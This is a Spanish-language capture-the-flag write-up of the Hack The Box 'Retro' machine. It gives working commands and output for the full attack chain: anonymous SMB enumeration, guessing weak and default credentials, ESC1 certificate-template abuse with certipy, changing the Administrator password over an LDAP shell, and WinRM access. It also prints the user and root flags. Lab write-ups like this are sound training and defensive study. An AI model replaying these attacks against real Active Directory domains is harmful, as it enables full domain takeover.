Retro
Hack The Box — Metodología Detallada
Retro
| IP: | 10.129.50.211 |
| OS: | Windows Server 2022 |
| Dificultad: | Easy |
| Categoría: | Active Directory |
| Fecha: | 31 Ago 2026 |
Reconocimiento
Escaneo inicial de puertos
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.50.211 -oG allPorts
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
9389/tcp open adws
La presencia de los puertos 88 (Kerberos), 389 (LDAP) y 3268 (Global Catalog) confirma que el objetivo es un Domain Controller del dominio
retro.vl. El puerto 3389 (RDP) esta abierto ademas de los puertos estandar de AD. SMB signing requerido descarta NTLM Relay.Escaneo de versiones
PORT STATE SERVICE
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
389/tcp open ldap Microsoft Windows AD LDAP (Domain: retro.vl)
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap
3268/tcp open ldap Microsoft Windows AD LDAP (Domain: retro.vl)
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server Microsoft Terminal Services
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC; OS: Windows Server 2022 Build 20348
El escaneo de versiones confirmo el dominio
retro.vl y el hostname DC. Sistema operativo: Windows Server 2022 Build 20348. El FQDN es DC.retro.vl. Se agrego retro.vl y DC.retro.vl al /etc/hosts.Enumeración
Enumeración SMB anónima
Se evaluo si el servidor admitia autenticacion nula via SMB para enumerar shares y usuarios sin credenciales previas.
netexec smb 10.129.50.211 -u '' -p ''
[*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl)
(signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
[+] retro.vl\:
smbclient -L //10.129.50.211// -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Notes Disk
SYSVOL Disk Logon server share
Trainees Disk
El servidor admite autenticacion nula. Se identificaron dos shares no estandar: Notes y Trainees. El share Notes requeria autenticacion pero Trainees era accesible de forma anonima.
Enumeración del share Trainees
smbclient //10.129.50.211/Trainees -N
Important.txt A 288 Sun Jul 23 22:00:13 2023
smb: \> get Important.txt
cat Important.txt
Dear Trainees,
I know that some of you seemed to struggle with remembering strong
and unique passwords. So we decided to bundle every one of you up
into one account. Stop bothering us. Please. We have other stuff to
do than resetting your password every day.
Regards,
The Admins
El archivo revela que todos los aprendices fueron agrupados en una sola cuenta. El nombre del share y el contexto sugieren que el usuario es
trainee con la contrasena trainee.Validacion de credenciales
netexec smb 10.129.50.211 -u 'trainee' -p 'trainee'
[+] retro.vl\trainee:trainee
Vector confirmado: Credenciales validas:
trainee:trainee.Enumeración del share Notes
Con credenciales validas se accedio al share Notes para enumerar su contenido.
smbclient //10.129.50.211/Notes -U 'trainee%trainee'
ToDo.txt A 248 Sun Jul 23 21:52:29 2023
smb: \> get ToDo.txt
cat ToDo.txt
Thomas,
Despues de convencer al departamento de finanzas de deshacerse de su
antiguo software bancario, finalmente es hora de limpiar el desastre
que dejaron. Deberiamos empezar con la cuenta de computadora pre-creada.
Esa es mas antigua que yo.
Saludos,
James
El mensaje menciona explicitamente una cuenta de computadora pre-creada relacionada con software bancario. Se procedio a buscarla en el dominio via LDAP.
Flag de usuario
Con credenciales de
trainee se accedio al share Trainees para buscar la flag de usuario.smbclient //10.129.50.211/Trainees -U 'trainee%trainee'
smb: \> get user.txt
cat user.txt
cbda362cff2099072c5e96c51712ff33
Vector confirmado: Flag de usuario obtenida:
cbda362c**...**2ff33.Identificación de la cuenta pre-creada
netexec ldap 10.129.50.211 -u 'trainee' -p 'trainee' \
--query "(objectClass=computer)" sAMAccountName
[+] Response: CN=DC,OU=Domain Controllers,DC=retro,DC=vl
sAMAccountName: DC$
[+] Response: CN=banking,CN=Computers,DC=retro,DC=vl
sAMAccountName: BANKING$
Se identifico la cuenta
BANKING$ en CN=Computers. Esta es la cuenta de computadora pre-creada mencionada en el mensaje. Las cuentas pre-creadas en AD tienen una contrasena por defecto igual al nombre NetBIOS en minusculas antes de unirse al dominio.netexec smb 10.129.50.211 -u 'BANKING$' -p 'banking'
[-] retro.vl\BANKING$:banking STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
El error
STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT confirma que la contrasena banking es correcta, pero la cuenta no esta unida al dominio. Una cuenta pre-creada en este estado puede autenticarse via Kerberos para obtener un TGT aunque no pueda autenticarse via SMB.Explotación
Enumeración de plantillas ADCS vulnerables
Con credenciales de
trainee se enumero ADCS para identificar plantillas vulnerables. El objetivo es encontrar una plantilla que permita solicitar certificados con UPN arbitrario usando una cuenta de computadora.certipy find -u [email protected] -p 'trainee' \
-dc-ip 10.129.50.211 -vulnerable -stdout
Template Name : RetroClients
Enrollment Rights : RETRO.VL\Domain Computers
Enrollee Supplies Subject : True
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows
client authentication.
La plantilla RetroClients es vulnerable a ESC1: permite que el solicitante especifique el UPN en el certificado y habilita autenticacion de cliente. Los permisos de enrollment son para
Domain Computers, por lo que BANKING$ puede solicitarlo. La plantilla requiere clave RSA de 4096 bits minimo.ESC1 — Solicitud de certificado como Administrator
Con la cuenta
BANKING$ se puede solicitar un certificado con el UPN del Administrator. Al ser una cuenta pre-creada que no completo el join al dominio, SMB falla pero Kerberos funciona para obtener un TGT que permite autenticarse en la CA.Obtención del TGT de BANKING$
getTGT.py retro.vl/BANKING\$:banking -dc-ip 10.129.50.211
[*] Saving ticket in BANKING$.ccache
export KRB5CCNAME=BANKING\$.ccache
Obtención del SID del Administrator
lookupsid.py retro.vl/trainee:[email protected] 500
[*] Domain SID is: S-1-5-21-2983547755-698260136-4283918172
# SID del Administrator: S-1-5-21-2983547755-698260136-4283918172-500
Solicitud del certificado
Los primeros intentos fallaron por problemas de resolucion DNS. Se agrego
DC.retro.vl al /etc/hosts y se uso -target-ip para evitar la resolucion DNS. Ademas fue necesario incluir el SID en el certificado con el flag -sid para evitar el error Object SID mismatch.certipy req -u '[email protected]' -k \
-ca 'retro-DC-CA' -template 'RetroClients' \
-upn [email protected] \
-target DC.retro.vl \
-dc-host DC.retro.vl \
-target-ip 10.129.50.211 \
-key-size 4096 -no-pass \
-sid S-1-5-21-2983547755-698260136-4283918172-500
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID: 'S-1-5-21-2983547755-698260136-4283918172-500'
[*] Wrote certificate and private key to 'administrator.pfx'
Vector confirmado: Certificado obtenido con UPN
[email protected] y SID del Administrator embebido.Escalada de Privilegios
Autenticacion con el certificado
Se intento autenticar con el certificado para obtener el hash NT del Administrator. El DC no soporta PKINIT directamente, por lo que se uso
-ldap-shell para autenticarse via LDAPS y cambiar la contrasena del Administrator.Los intentos de autenticacion directa via
certipy auth fallaron con KDC_ERR_PADATA_TYPE_NOSUPP porque el DC no tiene soporte para PKINIT habilitado.certipy auth -pfx administrator.pfx -dc-ip 10.129.50.211
[-] KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
LDAP Shell como Administrator
certipy auth -pfx administrator.pfx -dc-ip 10.129.50.211 -ldap-shell
[*] Connecting to 'ldaps://10.129.50.211:636'
[*] Authenticated to '10.129.50.211' as: 'u:RETRO\\Administrator'
# change_password administrator Password123!
Got User DN: CN=Administrator,CN=Users,DC=retro,DC=vl
Password changed successfully!
El certificado ESC1 permitio autenticarse via LDAPS como Administrator sin conocer su contrasena. Desde el shell LDAP se cambio la contrasena del Administrator directamente.
Acceso como Administrator via WinRM
evil-winrm -i 10.129.50.211 -u administrator -p 'Password123!'
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
40fce9c3f09024bcab29d377ee1ed071
Vector confirmado: Acceso obtenido como
Administrator via WinRM. Flag de root: 40fce9c3**...**ed071. El dominio retro.vl ha sido completamente comprometido.Reflexión Final
Qué salió bien
-
La enumeracion SMB anonima fue directa y produjo dos vectores de informacion: el share Trainees con la pista del usuario
traineey el share Notes con la pista de la cuenta pre-creada. -
Se identifico correctamente que el error
STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNTconfirma la contrasena correcta — la cuenta existe y puede autenticarse via Kerberos aunque SMB falle. -
La plantilla ESC1 fue identificada rapidamente con certipy y el flujo de explotacion fue claro.
Qué salió mal
-
Los primeros intentos de solicitud del certificado fallaron por problemas de resolucion DNS — fue necesario agregar
DC.retro.vlal/etc/hostsy usar-target-ipen lugar de-target. -
El primer certificado generado sin el flag
-sidprodujo el errorObject SID mismatchal intentar autenticar. Fue necesario obtener el SID del Administrator vialookupsid.pyy regenerar el certificado. -
El DC no soporta PKINIT, por lo que la autenticacion directa con
certipy authfallo. Fue necesario usar-ldap-shellcomo alternativa para autenticarse y cambiar la contrasena.
Lecciones aprendidas
-
Cuentas de computadora pre-creadas: cuando un administrador crea una cuenta de computadora en AD sin unirla al dominio, la cuenta queda con una contrasena por defecto (nombre en minusculas). Estas cuentas pueden autenticarse via Kerberos aunque fallen en SMB con
NOLOGON_WORKSTATION_TRUST_ACCOUNT. Son vectores frecuentes para ESC1 cuando el enrollment esta restringido aDomain Computers. -
ESC1 con cuenta de computadora: cuando la plantilla ADCS tiene enrollment restringido a
Domain Computers, una cuenta de computadora (real o pre-creada) es suficiente para solicitar certificados con UPN arbitrario. El flag-sides necesario en versiones recientes de certipy para evitar el error de SID mismatch. -
LDAP Shell como alternativa a PKINIT: cuando el DC no soporta PKINIT,
certipy auth -ldap-shellpermite autenticarse via LDAPS con el certificado y ejecutar comandos LDAP como el usuario del certificado, incluyendo cambio de contrasena. -
Los mensajes en shares SMB accesibles anonimamente son pistas deliberadas en entornos de laboratorio — siempre leer el contenido completo antes de continuar.
Tiempo total
Aproximadamente 40 minutos.